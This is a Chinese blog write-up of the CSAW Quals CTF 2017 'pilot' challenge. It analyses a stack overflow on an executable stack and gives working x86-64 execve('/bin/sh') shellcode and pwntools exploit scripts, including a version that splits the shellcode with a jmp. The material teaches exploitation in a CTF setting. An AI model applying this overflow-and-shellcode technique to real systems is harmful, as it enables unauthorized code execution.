PWN_05-CSAW Quals CTF 2017-pilot-pilot

  1. 将程序载入IDA进行分析
  2. 动态分析
  3. 漏洞利用
  4. 执行结果

有的时候我们可以成功写入shellcode,但是shellcode在执行前甚至执行 时却会被破坏。当破坏难以避免时,我们就需要手工拆分shellcode,并且编写代码把两段分开的shellcode 再“连”到一起。

将程序载入IDA进行分析

  • 按F5查看main函数的伪代码

    伪代码

  • 程序中虽然对读取的数据做了控制,但是依然存在溢出风险,我们可以利用这个溢出来劫持main函数的EIP,控制程序的执行流程。

  • 使用pwntools自带的检查脚本checksec检查程序

    检查结果

  • 发现程序存在着RWX段(同linux的文件属性一样,对于分 页管理的现代操作系统的内存页来说,每一页也同样具有可读(R),可写(W),可执行(X)三种属性。只有在 某个内存页具有可读可执行属性时,上面的数据才能被当做汇编指令执行,否则将会出错)

  • 调试运行后发现栈就是一个RWX段,且程序还泄露出了buf所在的栈地址

    栈执行情况

  • 所以我们的任务只剩下找到一段合适的shellcode,利用栈溢出劫持RIP到shellcode上执行。所以我们写了 以下脚本

动态分析

  • F2下断点,F9开始执行

  • 输入8个A

    栈情况

  • 返回地址

    返回地址

  • 计算溢出字符串

    • 0x00007FFF3DF7B3D8-0x00007FFF3DF7B3B0 = 0x28即可达到返回地址处,在发送要覆盖的地址,成功执行

漏洞利用

  • 继续使用我们上次找的shellcode

    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
        "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov    $0x68732f6e69622f2f, %rbx
        "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
        "\x53"                                          // push   %rbx
        "\x48\x89\xe7"                                  // mov    %rsp, %rdi
        "\x50"                                          // push   %rax
        "\x57"                                          // push   %rdi
        "\x48\x89\xe6"                                  // mov    %rsp, %rsi
        "\xb0\x3b"                                      // mov    $0x3b, %al
        "\x0f\x05";                                     // syscall
  • 整理之后shellcode为:\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05

  • 万事俱备,我们来构造我们的payload

    payload = '\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'+'\x90'*(0x28-len('\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'+'A'))+b64(泄露地址)
  • exp为:

    from pwn import *
    io = process('./pilot')
    io.recvuntil('Location:')
    dir = io.recv()[0:14]
    dir = int(dir,16)
    shellcode = '\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
    payload = shellcode + '\x90'*(0x28-len(shellcode))
    payload += p64(dir)
    print payload
    io.send(payload)
    io.interactive()
  • 执行的过程中发生了错误

    错误

  • 为什么会发生错误呢?我们继续动态调试

    retn之后跳转的位置

  • 程序正常执行

    栈中的情况

  • 执行到push rdi时

    shellcode被污染

  • 由于shellcode执行过程中的push,最后一部分会在执行完 push rdi之后被覆盖从而导致shellcode失效。因此我们要么得选一个更短的shellcode,要么就对其进行改 造。鉴于shellcode不好找,我们还是选择改造。

  • 首先我们会发现在shellcode执行过程中只有返回地址和上面的24个字节会被push进栈的寄存器值修改, 而栈溢出最多可以向栈中写0x40=64个字节。结合对这个题目的分析可知在返回地址之后还有16个字节的 空间可写。根据这四张图显示出来的结果,push rdi执行后下一条指令就会被修改,因此我们可以考虑把 shellcode在push rax和push rdi之间分拆成两段,此时push rdi之后的shellcode片段为8个字节,小于16 字节,可以容纳。

  • 接下来我们需要考虑怎么把这两段代码连在一起执行。我们知道,可以打破汇编代码执行的连续性的指令就 那么几种,call,ret和跳转。前两条指令都会影响到寄存器和栈的状态,因此我们只能选择使用跳转中的 无条件跳转jmp. 我们可以去查阅前面提到过的Intel开发者手册或其他资料找到jmp对应的字节码,不过幸 运的是这个程序中就带了一条。

    jmp跳转

  • 汇编指令为eb 05,但是为什么不是eb 07呢,因为jmp指令是从吓一条指令开始计算的

  • 最终的exp

    from pwn import *
    io = process('./pilot')
    io.recvuntil('Location:')
    dir = io.recv()[0:14]
    dir = int(dir,16)
    shellcode = '\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\xeb\x18'
    payload = shellcode + '\x90'*(0x28-len(shellcode))
    payload += p64(dir)+'\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
    print payload
    io.send(payload)
    io.interactive()

执行结果

结果


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com

文章标题:PWN_05-CSAW Quals CTF 2017-pilot-pilot

本文作者:二豆子·pwnd0u

发布时间:2019-12-08, 14:36:04

最后更新:2020-11-21, 16:32:48

原始链接:http://blog.codefat.cn/2019/12/08/4-2-CSAW-Quals-CTF-2017-pilot-pilot/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

/*爱心代码*/ /*雪花效果*/ /*百度代码自动提交*/